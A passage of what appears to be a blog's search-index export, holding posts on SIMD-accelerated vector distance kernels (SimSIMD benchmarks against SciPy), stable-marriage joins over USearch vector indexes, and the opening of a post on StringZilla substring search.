2-5 times faster than letting it figure things out on its own. For trickier tasks, like processing strings of text or handling varying bit rates, manually guiding can be even 20-50 times faster. Now, with this in mind, you might expect to see a piece of code from StringZilla. But this isn\u0026rsquo;t just about speed—it\u0026rsquo;s also about writing neat and concise code. One thing that bothers me is splitting a piece of code into three parts because the data doesn\u0026rsquo;t fit perfectly.\nHowever, if you\u0026rsquo;re not chasing the absolute best speed, you can simplify it to two parts. Just skip the beginning and use a more flexible approach in the main body of the code. With tools like NEON and AVX, making this kind of distance calculation might look like this:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 __attribute__((target(\u0026#34;avx2,fma\u0026#34;))) simsimd_f32_t simsimd_avx2_f32_l2sq(simsimd_f32_t const* a, simsimd_f32_t const* b, simsimd_size_t n) { __m256 d2_vec = _mm256_set1_ps(0); simsimd_size_t i = 0; for (; i + 8 \u0026lt;= n; i += 8) { __m256 a_vec = _mm256_loadu_ps(a + i); __m256 b_vec = _mm256_loadu_ps(b + i); __m256 d_vec = _mm256_sub_ps(a_vec, b_vec); d2_vec = _mm256_fmadd_ps(d_vec, d_vec, d2_vec); } d2_vec = _mm256_add_ps(_mm256_permute2f128_ps(d2_vec, d2_vec, 1), d2_vec); d2_vec = _mm256_hadd_ps(d2_vec, d2_vec); d2_vec = _mm256_hadd_ps(d2_vec, d2_vec); simsimd_f32_t result[1]; _mm_store_ss(result, _mm256_castps256_ps128(d2_vec)); // Accumulate the tail: for (; i \u0026lt; n; ++i) result[0] += (a[i] - b[i]) * (a[i] - b[i]); return result[0]; } To avoid doing the tail, you can use the _mm256_maskload_ps for masking, but it\u0026rsquo;s only available for 32 and 64-bit entries. Now, here\u0026rsquo;s where AVX-512 makes things better. It can handle uneven data sizes more gracefully, so we can get rid of the \u0026ldquo;tail\u0026rdquo; for f32, f16, i8, and other data types.\n1 2 3 4 5 6 7 8 9 10 11 12 __attribute__((target(\u0026#34;avx512f,avx512vl\u0026#34;))) simsimd_f32_t simsimd_avx512_f32_l2sq(simsimd_f32_t const* a, simsimd_f32_t const* b, simsimd_size_t n) { __m512 d2_vec = _mm512_set1_ps(0); for (simsimd_size_t i = 0; i \u0026lt; n; i += 16) { __mmask16 mask = n - i \u0026gt;= 16 ? 0xFFFF : ((1u \u0026lt;\u0026lt; (n - i)) - 1u); __m512 a_vec = _mm512_maskz_loadu_ps(mask, a + i); __m512 b_vec = _mm512_maskz_loadu_ps(mask, b + i); __m512 d_vec = _mm512_sub_ps(a_vec, b_vec); d2_vec = _mm512_fmadd_ps(d_vec, d_vec, d2_vec); } return _mm512_reduce_add_ps(d2_vec); } For 1535-dimensional OpenAI Ada embeddings on Intel Xeon Platinum 8480+ the performance get\u0026rsquo;s 84% better:\nAVX2: 3.3 Million ops/s, same as auto-vectorized code. AVX-512: 6.1 Million ops/s. Another neat idea is to swap out some _mm512_maskz_loadu_ps instructions in the code for better-aligned ones, like _mm512_maskz_load_ps. But this doesn\u0026rsquo;t always work, especially with tools like SVE, which handle things differently. You will often see intrinsics like svwhilelt and svcnt:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __attribute__((target(\u0026#34;+sve\u0026#34;))) simsimd_f32_t simsimd_sve_f32_l2sq(simsimd_f32_t const* a, simsimd_f32_t const* b, simsimd_size_t n) { simsimd_size_t i = 0; svfloat32_t d2_vec = svdupq_n_f32(0.f, 0.f, 0.f, 0.f); do { svbool_t pg_vec = svwhilelt_b32((unsigned int)i, (unsigned int)n); svfloat32_t a_vec = svld1_f32(pg_vec, a + i); svfloat32_t b_vec = svld1_f32(pg_vec, b + i); svfloat32_t d_vec = svsub_f32_x(pg_vec, a_vec, b_vec); d2_vec = svmla_f32_x(pg_vec, d2_vec, d_vec, d_vec); i += svcntw(); } while (i \u0026lt; d); simsimd_f32_t d2 = svaddv_f32(svptrue_b32(), d2_vec); return d2; } For 1535-dimensional OpenAI Ada embeddings on AWS Graviton 3 the performance get\u0026rsquo;s 43% better:\nNEON: 3.5 Million ops/s. SVE: 5 Million ops/s. To wrap it up, this might be a glimpse into the future of computing, where the lines between different types of computer brains—like CPUs and GPUs—start to blur. It\u0026rsquo;s more evident here than with other technologies we\u0026rsquo;ve seen in the past, like Intel Knights Landing lineup.\nThe Challenge of f16 Half-precision math, represented as _Float16, has been part of the C standard since 2011. But even today, it\u0026rsquo;s tricky to get optimal performance. While compilers like GCC and Clang can work with _Float16 or its variant __fp16, they often don\u0026rsquo;t vectorize it effectively. As a result, when you compile with options like -O3 and -ffast-math, half-precision code tends to run about 10 times slower than its single-precision counterpart. Here\u0026rsquo;s a breakdown of some benchmarks:\n1 2 3 4 5 6 7 8 9 ------------------------------------------------------------------------------------------------------------ Benchmark Time CPU Iterations UserCounters... ------------------------------------------------------------------------------------------------------------ avx2_f32_l2sq_1536d/min_time:10.000/threads:224 1.37 ns 306 ns 46795392 pairs=3.2643M/s avx2_f16_l2sq_1536d/min_time:10.000/threads:224 1.48 ns 329 ns 44446528 pairs=3.03545M/s avx512_f32_l2sq_1536d/min_time:10.000/threads:224 0.741 ns 166 ns 85654240 pairs=6.03806M/s avx512_f16_l2sq_1536d/min_time:10.000/threads:224 0.495 ns 111 ns 122070592 pairs=9.01289M/s auto_f32_l2sq_1536d/min_time:10.000/threads:224 1.45 ns 325 ns 50284192 pairs=3.08087M/s auto_f16_l2sq_1536d/min_time:10.000/threads:224 30.2 ns 6752 ns 1931328 pairs=148.094k/s In a table format for clarity:\nauto-vectorization AVX2 + F16C + FMA AVX-512 FP16 f32 3.0 M 3.3 M 6.0 M f16 148.0 K 3.0 M 9.0 M Given AI\u0026rsquo;s increasing reliance on half-precision floats for most workloads, the lag in performance is concerning. Some vendors initially prioritized bf16 support, offering a different balance between exponent and mantissa than the IEEE 754 16-bit float. However, 4th generation Intel Xeon now supports bf16 and introduces mixed-precision fused-multiply-add instructions, streamlining most of the vectorized dot-product tasks.\n1 2 3 4 5 6 7 8 9 10 11 12 __attribute__((target(\u0026#34;avx512fp16,avx512vl,avx512f\u0026#34;))) simsimd_f32_t simsimd_avx512_f16_l2sq(simsimd_f16_t const* a, simsimd_f16_t const* b, simsimd_size_t d) { __m512h d2_vec = _mm512_set1_ph(0); for (simsimd_size_t i = 0; i \u0026lt; d; i += 32) { __mmask32 mask = d - i \u0026gt;= 32 ? 0xFFFFFFFF : ((1u \u0026lt;\u0026lt; (d - i)) - 1u); __m512i a_vec = _mm512_maskz_loadu_epi16(mask, a + i); __m512i b_vec = _mm512_maskz_loadu_epi16(mask, b + i); __m512h d_vec = _mm512_sub_ph(_mm512_castsi512_ph(a_vec), _mm512_castsi512_ph(b_vec)); d2_vec = _mm512_fmadd_ph(d_vec, d_vec, d2_vec); } return _mm512_reduce_add_ph(d2_vec); } To maintain clarity in the demonstration, I\u0026rsquo;ve used a sequential _mm512_reduce_add_ph at the conclusion; yet, this choice doesn\u0026rsquo;t impede performance. These compelling results are set to be integrated into the forthcoming USearch v3 release, bolstering its reputation as the fastest Vector Search engine in the domain.\nWe are excited to share a single-header C++11 vector-search engine with SDKs for #Python, #JavaScript, #Java, #Rust, and soon #GoLang \u0026amp; #Wolfram! It\u0026#39;s tiny and easy to use, but still brings half-precision \u0026amp; integer quantization and scales beyond 4B points! https://t.co/q7yqpL3CHL\n\u0026mdash; Unum (@unum_cloud) May 2, 2023 Bonus Section: Bypassing sqrt and LibC Dependencies! One of the joys of library development is achieving independence from external dependencies. This means total independence, including from staples like LibC and the Standard Template Library of C++. In SimSIMD, I previously depended on just one header from LibC, \u0026lt;math.h\u0026gt;. Not anymore.\nOriginally, it was used for the angular distance computation given by 1 - ab / sqrtf(a2 * b2). A simple optimization for this is substituting with the renowned rsqrt bithack from Quake 3:\n1 2 3 4 5 6 7 simsimd_f32_t simsimd_approximate_inverse_square_root(simsimd_f32_t number) { simsimd_f32i32_t conv; conv.f = number; conv.i = 0x5F1FFFF9 - (conv.i \u0026gt;\u0026gt; 1); conv.f *= 0.703952253f * (2.38924456f - number * conv.f * conv.f); return conv.f; } This hack is already a remarkable trick. However, not everyone is aware of alternative approaches, some of which offer improved computational steps or employ different magic numbers to enhance numerical stability. I opted for methods recommended by Jan Kadlec. To bolster numerical stability, consider:\n1 2 3 1 - ab / sqrt(a2 * b2); 1 - ab * rsqrt(a2 * b2); 1 - ab * rsqrt(a2) * rsqrt(b2); Going further, modern CPUs furnish specialized instructions, and I\u0026rsquo;ve integrated several of these into SimSIMD. Some prominent examples are:\n_mm_rsqrt_ss for SSE. _mm_mask_rsqrt14_pd for AVX-512. vrsqrte_f32 for NEON. For those keen on eliminating the \u0026lt;math.h\u0026gt; dependency, these instructions are certainly worth exploring!\nBenchmark Results Methodology: For Cosine, squared Euclidean, Hamming, and Jaccard distances, I employed specialized functions from the scipy.spatial.distance module of SciPy. Inner Product distance calculations were performed directly using NumPy as 1 - np.inner(A, B). cdist Inner Product distance was computed with 1 - np.dot(A, B.T), translating directly into a BLAS sgemm call. For batch processes where direct support from SciPy is absent, each row was looped using SciPy and NumPy. For Cosine, squared Euclidean, and Inner Product 3 datatypes were benchmarked: f32, f16, i8. For binary metrics the only datatype that makes sense is an 8-bit unsigned integer - u8. Notably, there are two specific scenarios where SimSIMD doesn\u0026rsquo;t outshine:\nInner Product distance between pairwise rows in two matrices (expressed as 1 - np.dot(A, B.T)): When matrices increase in size, effective caching is required to retain parts of the matrix on the CPU, circumventing frequent RAM fetches. While BLAS optimizes this, SimSIMD doesn\u0026rsquo;t and has no plans to. Minimal operations on contemporary Intel CPUs involving only two vectors: Despite bypassing heavy abstractions like PyArg_ParseTuple in the CPython binding, the performance is impacted due to a combination of substantial type-checking and ancillary tasks between the API and its execution. Potential optimization could arise from backend pre-selection upon module loading, saving it in a global variable, rather than the current approach of verifying the cpuid for every interaction. In upcoming endeavors, I\u0026rsquo;ll delve into Intel\u0026rsquo;s Advanced Matrix eXtensions (AMX) and Arm\u0026rsquo;s Scalable Matrix Extensions (SME). These have already enhanced our Unum\u0026rsquo;s UForm Transformer models, trimming inference time to a mere 1.3 milliseconds on a Sapphire Rapids CPU. While these extensions are yet to be integrated into SimSIMD, I openly invite contributions. Excited to see your inputs! 🤗\nAppendix 1: Performance on Apple M2 Pro Between 2 Vectors, Batch Size: 1 Datatype Method Ops/s SimSIMD Ops/s SimSIMD Improvement f32 scipy.cosine 67,352 1,559,963 23.16 x f16 scipy.cosine 26,723 1,553,700 58.14 x i8 scipy.cosine 78,937 3,259,101 41.29 x f32 scipy.sqeuclidean 383,307 1,587,302 4.14 x f16 scipy.sqeuclidean 89,709 1,567,298 17.47 x i8 scipy.sqeuclidean 213,618 1,794,259 8.40 x f32 numpy.inner 1,346,952 1,611,604 1.20 x f16 numpy.inner 266,904 1,545,994 5.79 x i8 numpy.inner 862,502 3,302,596 3.83 x u8 scipy.hamming 1,632,432 27,874,556 17.08 x u8 scipy.jaccard 1,180,928 24,515,213 20.76 x Between 2 Vectors, Batch Size: 1,000 Datatype Method Ops/s SimSIMD Ops/s SimSIMD Improvement f32 scipy.cosine 68,414 2,471,680 36.13 x f16 scipy.cosine 27,964 2,470,154 88.33 x i8 scipy.cosine 81,064 15,364,768 189.54 x f32 scipy.sqeuclidean 415,326 2,462,800 5.93 x f16 scipy.sqeuclidean 90,795 2,439,524 26.87 x i8 scipy.sqeuclidean 203,094 4,144,373 20.41 x f32 numpy.inner 1,590,667 2,535,124 1.59 x f16 numpy.inner 268,583 2,505,481 9.33 x i8 numpy.inner 914,879 16,985,118 18.57 x u8 scipy.hamming 1,645,641 134,064,810 81.47 x u8 scipy.jaccard 1,237,944 103,444,581 83.56 x Between All Pairs of Vectors (cdist), Batch Size: 1,000 Datatype Method Ops/s SimSIMD Ops/s SimSIMD Improvement f32 scipy.cosine 777,894 2,533,840 3.26 x f16 scipy.cosine 776,171 2,480,454 3.20 x i8 scipy.cosine 778,570 17,927,198 23.03 x f32 scipy.sqeuclidean 2,349,645 2,569,746 1.09 x f16 scipy.sqeuclidean 2,158,488 2,377,701 1.10 x i8 scipy.sqeuclidean 2,091,610 4,118,384 1.97 x f32 numpy.inner 21,854,341 2,092,590 0.10 x f16 numpy.inner 304,646 2,423,802 7.96 x i8 numpy.inner 1,819,572 17,014,688 9.35 x u8 scipy.hamming 46,265,239 1,502,534,579 32.48 x u8 scipy.jaccard 129,574,247 971,895,663 7.50 x Appendix 2: Performance on 4th Gen Intel Xeon Platinum (8480+) Between 2 Vectors, Batch Size: 1 Datatype Method Ops/s SimSIMD Ops/s SimSIMD Improvement f32 scipy.cosine 57,346 224,148 3.91 x f16 scipy.cosine 17,068 226,829 13.29 x i8 scipy.cosine 71,983 234,372 3.26 x f32 scipy.sqeuclidean 341,301 218,177 0.64 x f16 scipy.sqeuclidean 37,076 229,565 6.19 x i8 scipy.sqeuclidean 236,241 237,825 1.01 x f32 numpy.inner 912,270 225,867 0.25 x f16 numpy.inner 92,400 230,110 2.49 x i8 numpy.inner 700,822 231,987 0.33 x u8 scipy.hamming 1,586,149 1,875,391 1.18 x u8 scipy.jaccard 1,083,886 1,871,898 1.73 x Between 2 Vectors, Batch Size: 1,000 Datatype Method Ops/s SimSIMD Ops/s SimSIMD Improvement f32 scipy.cosine 56,848 2,835,761 49.88 x f16 scipy.cosine 17,125 4,144,457 242.01 x i8 scipy.cosine 71,990 7,627,362 105.95 x f32 scipy.sqeuclidean 370,555 2,817,710 7.60 x f16 scipy.sqeuclidean 37,116 4,451,408 119.93 x i8 scipy.sqeuclidean 224,866 10,432,198 46.39 x f32 numpy.inner 910,884 2,814,501 3.09 x f16 numpy.inner 91,347 4,728,760 51.77 x i8 numpy.inner 700,576 7,347,589 10.49 x u8 scipy.hamming 1,611,206 79,796,509 49.53 x u8 scipy.jaccard 1,096,522 87,557,689 79.85 x Between All Pairs of Vectors (cdist), Batch Size: 1,000 Datatype Method Ops/s SimSIMD Ops/s SimSIMD Improvement f32 scipy.cosine 2,430,617 3,106,912 1.28 x f16 scipy.cosine 2,272,228 4,304,768 1.89 x i8 scipy.cosine 2,370,290 8,384,383 3.54 x f32 scipy.sqeuclidean 2,226,342 5,505,910 2.47 x f16 scipy.sqeuclidean 2,237,966 4,732,212 2.11 x i8 scipy.sqeuclidean 2,234,063 13,029,101 5.83 x f32 numpy.inner 175,492,443 4,984,406 0.03 x f16 numpy.inner 106,677 5,048,223 47.32 x i8 numpy.inner 1,807,566 8,257,849 4.57 x u8 scipy.hamming 159,574,713 2,325,251,446 14.57 x u8 scipy.jaccard 19,478,797 1,705,905,017 87.58 x Appendix 3: Performance on AWS Graviton 3 Between 2 Vectors, Batch Size: 1 Datatype Method Ops/s SimSIMD Ops/s SimSIMD Improvement f32 scipy.cosine 30,830 1,007,218 32.67 x f16 scipy.cosine 14,683 1,055,420 71.88 x i8 scipy.cosine 38,843 1,441,367 37.11 x f32 scipy.sqeuclidean 173,800 1,076,601 6.19 x f16 scipy.sqeuclidean 48,080 1,136,170 23.63 x i8 scipy.sqeuclidean 120,281 1,371,827 11.41 x f32 numpy.inner 642,658 1,103,082 1.72 x f16 numpy.inner 171,904 1,078,110 6.27 x i8 numpy.inner 459,605 1,438,284 3.13 x u8 scipy.hamming 796,739 10,041,370 12.60 x u8 scipy.jaccard 534,529 9,181,640 17.18 x Between 2 Vectors, Batch Size: 1,000 Datatype Method Ops/s SimSIMD Ops/s SimSIMD Improvement f32 scipy.cosine 31,162 2,692,131 86.39 x f16 scipy.cosine 14,721 3,034,736 206.15 x i8 scipy.cosine 38,837 10,442,992 268.89 x f32 scipy.sqeuclidean 177,025 2,705,020 15.28 x f16 scipy.sqeuclidean 50,164 3,151,582 62.83 x i8 scipy.sqeuclidean 121,269 6,081,171 50.15 x f32 numpy.inner 657,257 3,078,979 4.68 x f16 numpy.inner 171,875 3,153,530 18.35 x i8 numpy.inner 459,975 9,719,212 21.13 x u8 scipy.hamming 845,629 46,755,187 55.29 x u8 scipy.jaccard 546,286 30,730,463 56.25 x Between All Pairs of Vectors (cdist), Batch Size: 1,000 Datatype Method Ops/s SimSIMD Ops/s SimSIMD Improvement f32 scipy.cosine 1,570,730 3,066,406 1.95 x f16 scipy.cosine 1,605,807 3,057,974 1.90 x i8 scipy.cosine 1,590,897 14,750,039 9.27 x f32 scipy.sqeuclidean 1,622,545 3,272,164 2.02 x f16 scipy.sqeuclidean 1,578,548 3,178,287 2.01 x i8 scipy.sqeuclidean 1,592,369 6,436,115 4.04 x f32 numpy.inner 58,199,003 3,445,812 0.06 x f16 numpy.inner 218,842 3,274,774 14.96 x i8 numpy.inner 1,356,633 14,812,931 10.92 x u8 scipy.hamming 78,713,290 579,018,344 7.36 x u8 scipy.jaccard 34,455,520 318,356,871 9.24 x ","permalink":"https://ashvardanian.com/posts/simsimd-faster-scipy/","summary":"\u003cp\u003eOver the years, Intel\u0026rsquo;s 512-bit \u003cem\u003eAdvanced Vector eXtensions\u003c/em\u003e (AVX-512) stirred extensive discussions. While introduced in 2014, it wasn\u0026rsquo;t until recently that CPUs began providing comprehensive support. Similarly, \u003cem\u003eArm Scalable Vector Extensions (SVE)\u003c/em\u003e, primarily designed for Arm servers, have also started making waves only lately. The computing landscape now looks quite different with powerhouses like Intel\u0026rsquo;s \u003ca href=\"https://en.wikipedia.org/wiki/Sapphire_Rapids\"\u003eSapphire Rapids\u003c/a\u003e CPUs, \u003ca href=\"https://aws.amazon.com/ec2/graviton/\"\u003eAWS Graviton 3\u003c/a\u003e, and \u003ca href=\"https://amperecomputing.com/products/processors\"\u003eAmpere Altra\u003c/a\u003e entering the fray. Their arrival brings compelling advantages over the traditional AVX2 and NEON extensions:\u003c/p\u003e","title":"SciPy distances... up to 200x faster with AVX-512 \u0026 SVE 📏"},{"content":"How can the 2012 Nobel Prize in Economics, Vector Search, and the world of dating come together? What are the implications for the future of databases? And why do Multi-Modal AI model evaluation datasets often fall short? Synopsis:\nStable Marriages are generally computed from preference lists. Those consume too much memory. Instead, one can dynamically recalculate candidate lists using a scalable Vector Search engine. However, achieving this depends on having high-quality representations in a shared Vector Space. While this already works well for text-based features using modern BERT-like architectures, the quality decreases significantly for Multi-Modal data. This shortcoming, reflected in OpenAI\u0026rsquo;s CLIP and our own Unum\u0026rsquo;s UForm, signifies the need for improving modern space-alignment techniques. Their advancement could not only catalyze the integration of AI into databases but also enhance the performance of upcoming Generative Vision-Language models.\nSounds interesting?\nHow it all Started? A few years back, after swapping my Physics textbooks for a keyboard and a startup called Unum, my first venture into applying our novel algorithms was\u0026hellip; a dating app. A predictable first step for a 20-something-year-old single guy, nerding out on Computer Science.\nI named the app Amare, a nod to the Latin word for love. It was the first product I showcased to an investor. In 2015, explaining the tech behind it - AI, Vector Search, and speculating about Retrieval-based Neural Networks with External Memory - was more challenging than demoing the app itself. Eventually, I decided to abandon all applications and focus on the underlying framework - Unum.\nMuch code has been written and many algorithms replaced since then. But I\u0026rsquo;ve found that older, often overlooked algorithms still have untapped potential.\nThe Cost of Stable Marriages The field of Combinatorics introduces a fascinating concept - the Stable Marriage. Imagine you have two sets - \u0026ldquo;men\u0026rdquo; and \u0026ldquo;women\u0026rdquo;. Your task is to pair them, considering their preferences, ensuring that no couples want to swap partners.\nSuppose we have n men and n women, with each person having ranked all members of the opposite sex according to their preferences. We have to arrange marriages between men and women such that no man and woman would rather be with each other than their current partners. If no such pairs exist, the set of marriages is deemed stable.\nThe algorithm is trivial, to a point where a child could invent it. But its applications are so profound that its creators bagged the Nobel Prize in Economics in 2012. But here\u0026rsquo;s the kicker: when things get too big, they tend to break. The algorithm assumes complete preference lists for every man and woman. If we have a 1 Billion men and 1 Billion women on the lookout for a partner, each would need to rank 1 Billion candidates.\nYou can, of course, keep just a small set of candidates for every person. But what if half of the population picks celebrities exclusively in their top list? One can always engineer heuristics, but shortcuts have shortcomings.\nWith 1 Billion candidates for every person, you\u0026rsquo;d need 8 Million Terabytes of RAM to start with the classic algorithm. Multiply that by $10'000 per Terabyte of RAM, and you get a jaw-dropping $80 Billion. Practically infeasible and exorbitantly expensive. To give you a frame of reference, the world\u0026rsquo;s most powerful supercomputer, the $600 Million Frontier, boasts less than 10 Petabytes of memory. That\u0026rsquo;s a thousand times smaller than what we need for our matchmaking job.\nDon\u0026rsquo;t lose heart though. You don\u0026rsquo;t need a supercomputer to find a satisfying solution. In fact, it can be achieved even on a single workstation. Back in 2015, my proof-of-concept ran smoothly on 2x Intel Xeon e5 2698v3 CPUs. Today, we can do it with even less.\nThe Art of Balancing Compute In Computer Science, we often compare algorithm asymptotics, focusing mainly on time complexity and neglecting space complexity. We tend to forget that you can actually compensate for one with the other. Instead of storing preferences, we can recalculate them as needed.\nA practical approach could look like this:\nEncode all profiles using a single neural network. Build two kANN indexes: one for men and another for women. Generalize Stable Marriages over these indexes. Sounds simple, right? But there\u0026rsquo;s a catch. Existing public Vector Search engines lack the capability for \u0026ldquo;joins\u0026rdquo;. So, we had to implement one in USearch.\nIncorporating Joins into USearch The original Gale–Shapley algorithm, conceived in 1962, was designed to handle sets of identical sizes. However, in 1970, McVitie and Wilson demonstrated that achieving stability in mismatched sets required only a slight modification to the termination conditions of the iterative process. While this tweak greatly simplifies the work of coders like myself, it is insufficient when grappling with probabilistic data structures.\n1 2 3 4 5 6 7 8 9 10 11 12 13 algorithm stable_matching is Initialize m ∈ M and w ∈ W to free while ∃ free man m who has a woman w to propose to do w := first woman on m\u0026#39;s list to whom m has not yet proposed if ∃ some pair (m\u0026#39;, w) then if w prefers m to m\u0026#39; then m\u0026#39; becomes free (m, w) become engaged end if else (m, w) become engaged end if repeat The only thing USearch was lacking for this was a trivial fixed-capacity \u0026ldquo;ring\u0026rdquo; class to house the list of available men. To ensure compatibility with many-core architectures, I\u0026rsquo;d advise limiting the number of proposals per man to log(len(men)) + multiprocessing.cpu_count(), and employing this as the termination criteria.\n1 2 3 4 5 from usearch.index import Index men = Index(...) women = Index(...) couples: dict = men.join(women, max_proposals=0, exact=False) If you pass max_proposals=0, then USearch will automatically estimate the stopping criterea. As we will be evaluating datasets of different size, I am going to hard-code the value to max_proposals=100 to reduce variance.\nPlease note, the full implementation is more uglier, incorporating multiple concurrent bitsets for synchronization.\nPerformance USearch implements the HNSW structure for Approximate Nearest Neighbors Search. The performance of the vanilla HNSW highly hinges on the size of the index.\nWith small vectors and collections of less than 1 Million vectors that fit into CPU caches, USearch exceeds 500'000 queries per second. However, when dealing with Billions of entries, the performance plummets down to a mere 1'000 queries per second. After that, it begs the question:\nHow many proposals (queries) will every man make until we reach a convergence in mapping?\nThat is a tricky one. If we always match with the right person, the procedure would take 1 Million seconds, or about 12 days, on a single CPU, or around $1'000 in AWS charges.\nIt sounds like a good baseline, but you can optimize further. A possible next step would be to make embeddings smaller and JIT the distance function. Starting with v0.19 USearch supports every conceivable JIT approach, including Numba, Cppyy + Cling, as well as SimSIMD and direct assembly injections with PeachPy.\nThe reality is harder.\nExploring Uni-Modal Representations As mentioned, our work is far from dating these days. Today, we\u0026rsquo;re more involved in matching different forms of content, predominantly visual and textual. For simplicity\u0026rsquo;s sake, let\u0026rsquo;s narrow it down even further and consider the task of matching texts with other texts.\nAlong with my team, we took advantage of the Arxiv dataset, a rich trove of academic paper titles (T) and abstracts (A). Here\u0026rsquo;s the game plan:\nEncode the strings using e5-base-v2, a model that almost claims the crown in the Retrieval and STS rankings of MTEB - the Massive Text Embedding Benchmark, while remaining highly cost-efficient. Construct two distinct search indexes for T and for A. Execute a \u0026ldquo;dataset diagnostic\u0026rdquo;, examining: Pair Quality, defined by the similarity between A[i] and T[i]. Self-Recall @ 10: searching T within T and A within A. Cross-Recall @ 10: searching T within A and A within T. Merge the two collections, observing two key metrics: The proportion of strings that are joined (paired). The proportion of strings that are correctly joined (paired). The most important final metric! The whole dataset clocks in at approximately 2 Million entries. We\u0026rsquo;ll look at three log-step subsets - the initial 10 K, 100 K, and 1 M entries respectively.\nMetric 10 K 100 K 1 M Pair Quality 0.8754 0.8754 0.8768 Self-Recall A @ 10 99.98% 99.96% 99.85% Self-Recall T @ 10 100.00% 99.99% 99.89% Cross-Recall A in T @ 10 94.78% 86.49% 76.98% Cross-Recall T in A @ 10 95.09% 86.85% 77.41% Joined 98.12% 96.29% 94.34% Joined Correctly 87.85% 70.47% 57.67% As evident, the percentage of correctly joined entries is typically marginally lower than the product of cross-recalls. The utilized embeddings from e5-base-v2 are 768-dimensional. Retaining them in their original f32 format can be rather expensive, hence I decided to rerun the experiments downcasting to i8 eight-bit integers. The loss in accuracy is barely noticeable, yet the construction, and search/join speed increases threefold.\nMetric 10 K 100 K 1 M Pair Quality 0.8754 0.8754 0.8768 Self-Recall A @ 10 100.00% 99.97% 99.85% Self-Recall T @ 10 100.00% 99.99% 99.89% Cross-Recall A in T @ 10 94.59% 86.43% 76.91% Cross-Recall T in A @ 10 95.15% 86.90% 77.39% Joined 98.05% 96.30% 94.33% Joined Correctly 87.60% 70.48% 57.59% Pitfalls of Multi-Modal Representations The more modalities you incorporate, the more challenging it becomes to weave them seamlessly into a single, especially compact, model.\nLet\u0026rsquo;s examine \u0026ldquo;Open CLIP\u0026rdquo;, the most common adaptation OpenAI\u0026rsquo;s \u0026ldquo;Contrastive Language-Image Pre-training\u0026rdquo; (CLIP) paper. This model is not only instrumental in search tasks but also lays the foundation for numerous Generative AI models like Dall-E 2.\nWe\u0026rsquo;ll evaluate the search and join quality on the Creative Captions dataset, comprising 3 Million pairs of images (I) and text (T). Let\u0026rsquo;s start by focusing on the first 10'000 pairs, applying brute-force exact search:\nCross-Recall T in I @ 10: 72% Cross-Recall I in T @ 10: 74% Interestingly, almost 30% of the time, even with a modest dataset size of 10 K entries and full-precision calculations, we end up with embeddings so speckled with noise that the accurate linkage between an image and its corresponding text does not even make it to the top-10 rank. This situation is somewhat analogous to your sought-after result failing to make it onto the first page of a Google search. Now, to scale this further, one would typically shift from a brute-force approach to Approximate Nearest Neighbors Search.\nMetric 10 K 100 K 1 M Pair Quality 0.2565 0.2565 0.2566 Self-Recall I @ 10 99.99% 99.90% 99.66% Self-Recall T @ 10 99.81% 98.39% 94.22% Cross-Recall I in T @ 10 71.31% 47.31% 24.56% Cross-Recall T in I @ 10 71.00% 46.15% 24.14% Joined 95.54% 91.60% 84.43% Joined Correctly 43.50% 22.91% 9.02% The share of correct joins plummeted from the 58% for Uni-Modal representations in the previous section to 9% on Multi-Modal. These figures are indicative of the low performance of Open CLIP with the ViT-B-16 visual tower. However, this is not an issue exclusive to CLIP. Our UForm neural networks exhibit the same symptoms, occasionally more severely, given their training on 1'000 times fewer samples. Upon using a larger CLIP ViT-G/14 checkpoint with 2 Billion neurons, the results get better:\nMetric 10 K 100 K 1 M Pair Quality 0.3759 0.3760 0.3759 Self-Recall I @ 10 99.99% 99.95% 99.77% Self-Recall T @ 10 99.87% 98.64% 94.89% Cross-Recall I in T @ 10 77.94% 54.64% 31.27% Cross-Recall T in I @ 10 75.98% 54.26% 32.02% Joined 95.97% 91.47% 83.81% Joined Correctly 53.69% 30.80% 13.46% Despite being the leading public model for zero-shot classification, when we plug its weights into USearch and request joins, the outcome is less than ideal with only 13% of entries being correctly joined. This points to the glaring fact that our current Multi-Modal alignment techniques are far from satisfactory. This remains true whether we employ traditional approaches like the OpenAI\u0026rsquo;s Contrastive Loss, or newer methodologies like the Mid-Fusion used in UForm.\nThe Road Ahead Though merging AI and DBMS may seem a distant goal, let\u0026rsquo;s view this differently. Almost a decade ago, I had some of the best dates of my life, all thanks to natural curiosity in Combinatorics and AI\u0026hellip; along with lenient data-regulation policies and experience writing enterprise-grade crawlers, of course 😅\nUSearch and any other decent implementation of NSW-like algorithms would work for anything with a defined similarity measure. From developing your dating app to applying \u0026ldquo;Semantic Joins\u0026rdquo; to job matching, targeted advertising, and beyond—the only limit is your imagination. The future is yours to shape!\nOpen jobs at Unum. My personal and our teams open-source releases on GitHub. Our teams Discord chat. ","permalink":"https://ashvardanian.com/posts/searching-stable-marriages/","summary":"\u003cp\u003eHow can the 2012 Nobel Prize in Economics, Vector Search, and the world of dating come together?\nWhat are the implications for the future of databases?\nAnd why do Multi-Modal AI model evaluation datasets often fall short?\nSynopsis:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eStable Marriages are generally computed from preference lists.\nThose consume too much memory.\nInstead, one can dynamically recalculate candidate lists using a scalable Vector Search engine.\nHowever, achieving this depends on having high-quality representations in a shared Vector Space.\nWhile this already works well for text-based features using modern BERT-like architectures, the quality decreases significantly for Multi-Modal data.\nThis shortcoming, reflected in OpenAI\u0026rsquo;s CLIP and our own \u003ca href=\"https://www.unum.cloud/blog/2023-02-20-efficient-multimodality\"\u003eUnum\u0026rsquo;s UForm\u003c/a\u003e, signifies the need for improving modern space-alignment techniques.\nTheir advancement could not only catalyze the integration of AI into databases but also enhance the performance of upcoming Generative Vision-Language models.\u003c/p\u003e","title":"Combinatorial Stable Marriages for DBMS Semantic Joins 💍"},{"content":"A few years back, I found a simple trick in tandem with SIMD intrinsics to truly unleash the power of contemporary CPUs. I put the strstr of LibC and the std::search of the C++ Standard Templates Library to the test and hit a throughput of around 1.5 GB/s for substring search on a solitary core. Not too shabby, right? But imagine, that the memory bandwidth could theoretically reach a striking 10-15 GB/s per core.\nGoing on this wild hypothesis that if the first 4 characters of a string are a match, it\u0026rsquo;s highly probable that the rest will match too, I brought this idea to life for x86 SSE, AVX, AVX-512, and Arm Neon. The result? I achieved memory bandwidth that outdid the standard by a whopping 5-10x factor. But alas, it remained a demo, with no practical applications\u0026hellip; until recently.\nMeet StringZilla 🦖 I found myself knee-deep in a demo project for USearch, UStore, and UForm, which required parsing of a multi-terabyte collection of newline-delimited files. Being a frequent Python user, I, naively, attempted open(...).readlines()...\nA 